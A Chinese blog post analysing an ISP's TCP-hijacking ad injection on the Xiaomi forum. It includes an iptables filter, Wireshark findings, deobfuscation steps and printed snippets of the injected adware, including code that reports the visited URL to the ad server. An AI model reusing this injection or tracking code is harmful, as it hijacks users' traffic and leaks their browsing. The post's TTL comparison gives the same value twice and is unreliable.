北京宽带通运营商劫持并插入广告分析

先说一下解决方法吧,毕竟日子还是要过的

  1. 参考下面的分析,可以看出,劫持主要是通过tcp会话劫持搞定的。主要特征是,tcp包的flag是PSH+ACK。包中含有302 Found的字符串
  2. 我们可以写一条iptables规则
    北京宽带通运营商劫持并插入广告分析_第1张图片
iptables -N check_for_9011
iptables -I INPUT -p tcp -m tcp --sport 80 --tcp-flags FIN,SYN,RST,PSH,ACK,URG PSH,ACK -m string --string  "302 Found" --algo bm --from 45 --to 80 -j check_for_9011
iptables -I check_for_9011 -m string --string "劫持包中其他特征" --algo bm --from 70 –to 180  -j DROP

以上iptables 规则检查源端口为80,且tcp-flags 为PSH,ACK的包,如果返回包中包含:”302 Found”,然后丢给check_for_9011 chain ,这个chain 会有另外一个规则额外处理,会匹配是否含有" 劫持包中其他特征"的字样,如果发现丢弃该包。

0x01 症状表现

访问小米论坛,底部出现您有一条未读消息,侧面有领红包的标志。眉头一紧,发现这事蹊跷哇。于是乎抓包分析一下,权当技术积累,还望同志们一起去举报这帮逼养的。
北京宽带通运营商劫持并插入广告分析_第2张图片

0x02 抓包分析

首先在wireshark中查看html页面。xiaomi论坛的响应采用chunked+gzip编码。wireshark并不能自动解码。如图
北京宽带通运营商劫持并插入广告分析_第3张图片

解码方式如下:

  1. 显示与保存数据,选择原始数据
  2. save as 保存下来
  3. 使用010editor 将从开头到13fd那里的内容,都删除掉
  4. 使用gzip解压
  5. gzip会出错的,但是我们可以强行解压 gzip -dc 2.gz

然后我们可以开始分析了,发现页面中并无不妥的地方。顿时陷入僵局。于是我们换一个角度分析,查看一下所有的http response。如图
北京宽带通运营商劫持并插入广告分析_第4张图片

发现一个很奇怪的地方,为什么我们访问一个application/javascript的东西,被302跳转了呢。于是我们follow tcp看一下,如图
北京宽带通运营商劫持并插入广告分析_第5张图片

我日,竟然有两个http响应头!!第一个给我返回302跳转到一个网站。而后面的http 200才是小米论坛服务器的真正响应。

原理很简单,tcp劫持嘛。我们可以看一下
6.png

图中,277是恶意tcp响应,296是服务器正常响应。277恶意数据包伪造tcp的序列号,与我们建立正常连接。等到296正常响应到达的时候,发现tcp已经全乱了。于是被tcp out-of-order了。

那我们该如何发现这种情况呢。可以对比一下两个ip包
北京宽带通运营商劫持并插入广告分析_第6张图片
---
北京宽带通运营商劫持并插入广告分析_第7张图片

可以对比一下,正常ttl是35,但是被恶意劫持的ip包的ttl是35。一般ttl出现较大的变动,都是被恶意劫持了。

0x03 网站分析

首先回到上面那个302跳转的js,乍一看,这是小米论坛的文件哇。但是仔细一看,发现js文件底部被加了新东西。如图
北京宽带通运营商劫持并插入广告分析_第8张图片
---
北京宽带通运营商劫持并插入广告分析_第9张图片

可以看出,被插入两个script,一个iframe。地址分别是https://p.chinadmp.cn/apia/s/1101/061afed5b9a6.js
,https://chencheng-js.xinterface.cn/x02_1808171813.jshttps://m.58futurism.cn/cnzzOp/zkl.html。底部还被插入一个img标签,地址是http://yumcs.xiaohuau.xyz:7002/api/v1/goELK/urlES.gif

下面分析img标签,在wireshark中,我们可以看到,会访问http://yumcs.xiaohuau.xyz:7002/api/v1/goELK/urlES.gif?title=%E7%B1%B3%E5%85%942%EF%BC%8C%E5%B0%8F%E5%AF%BB%E5%84%BFs1%EF%BC%8CT1%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9F%20-%20%E5%B0%8F%E7%B1%B3%E7%A4%BE%E5%8C%BA%E5%AE%98%E6%96%B9%E8%AE%BA%E5%9D%9B&ua=TW96aWxsYSBBcHBsZVdlYktpdCBDcmlPUyBNb2JpbGUgU2FmYXJp&url=http%3A%2F%2Fbbs.xiaomi.cn%2Ft-14092153&uid=a4badb264f88这个地址。主要是上报我们访问的地址与网页的title,推测可能是方便统计。

第一个script,访问https://p.chinadmp.cn/apia/s/1101/061afed5b9a6.js。
分析如下:

  1. 判断被劫持的网站是否在列表中,如果在,就停止劫持。

    北京宽带通运营商劫持并插入广告分析_第10张图片

可以看出,都是大站,如果劫持,则很容易被发现,导致被投诉。

  1. 执行一段eval(function (p, a, c, k, e, d)的加密js代码。解密方式如下
    1. 将eval改成console.log
    2. 将该段代码,复制带浏览器中运行一下,即可得到解密代码
    3. 解密后代码如下,很多函数

    北京宽带通运营商劫持并插入广告分析_第11张图片

  2. 执行功能代码,为了方便,我还是加注释

        var G = {},
            slotcode = "061afed5b9a6",
            cnzz_domain = "https://p.chinadmp.cn";
        if (win["yx" + slotcode]) {
            return
        }
        win["yx" + slotcode] = true;
        G.configP = {
            ast: 100,
            c_time: 10,
            is_cnzz_url: 1,
            pos: 3,
            s_count: 0,
            s_intvl: 0,
            s_rate: 100
        };
        I(); //设置G的ajax参数
        C(); //设置cookie参数
        D();//设置劫持的html参数等
        L();//劫持结果上报给服务器
        vertion = '2018-3-2 14:32:19'
    })(window, document, navigator)
} catch (e) {
    var _a = document.createElement("script");如果劫持出错的话,则向服务器上报出错信息,方便随后定位
    _a.type = "text/javascript";
    _a.src = "//p.chinadmp.cn/apia/logstores/ad_req_error/track?APIVersion=0.6.0&error=" + (+new Date()) + "|" + "061afed5b9a6" + "|v3|" + window.location.href + "|" + e.message;
    _a.style.display = "none";
    document.body.appendChild(_a);

第二个script,访问https://chencheng-js.xinterface.cn/x02_1808171813.js,分析如下

  1. 解密代码
    北京宽带通运营商劫持并插入广告分析_第12张图片
    将其格式化后,复制到浏览器运行即可。在这里我们可以看出,大部分代码都被混淆。这里只能硬刚去分析了。不过,主要行为,其实都是引用最开始的那串数组中的字符串。对字符串解码,可以看出大部分操作都在这里。这里主要是判断一下,针对微信的劫持。
  2. 加载两个script
    北京宽带通运营商劫持并插入广告分析_第13张图片
    1. 第一个script,访问http://chencheng-js.xinterface.cn/asi_1809131803.js
      北京宽带通运营商劫持并插入广告分析_第14张图片
      可以看出,原来是app下载推广链接。这里将控制手机,访问列表中的app下载地址。
    2. 第二个script 访问http://chencheng-js.xinterface.cn/x02hx_20180911627.js
      北京宽带通运营商劫持并插入广告分析_第15张图片
      主要是判断用户的浏览器,然后跳转到优酷!!然后弹出领红包!!!!!
      北京宽带通运营商劫持并插入广告分析_第16张图片
      至此,我们就分析完了。通过tcp劫持,并且只劫持小站页面。确实很难让人发现。

0x04 防范

  1. 远离小宽带公司
  2. 使用openwrt过滤掉非正常TTL的IP数据包

0x05 后记

最开始的那个关于js文件的302跳转,原理是将原js地址,经过base64编码,放在参数中。可能会导致ssrf。
北京宽带通运营商劫持并插入广告分析_第17张图片

你可能感兴趣的:(北京宽带通运营商劫持并插入广告分析)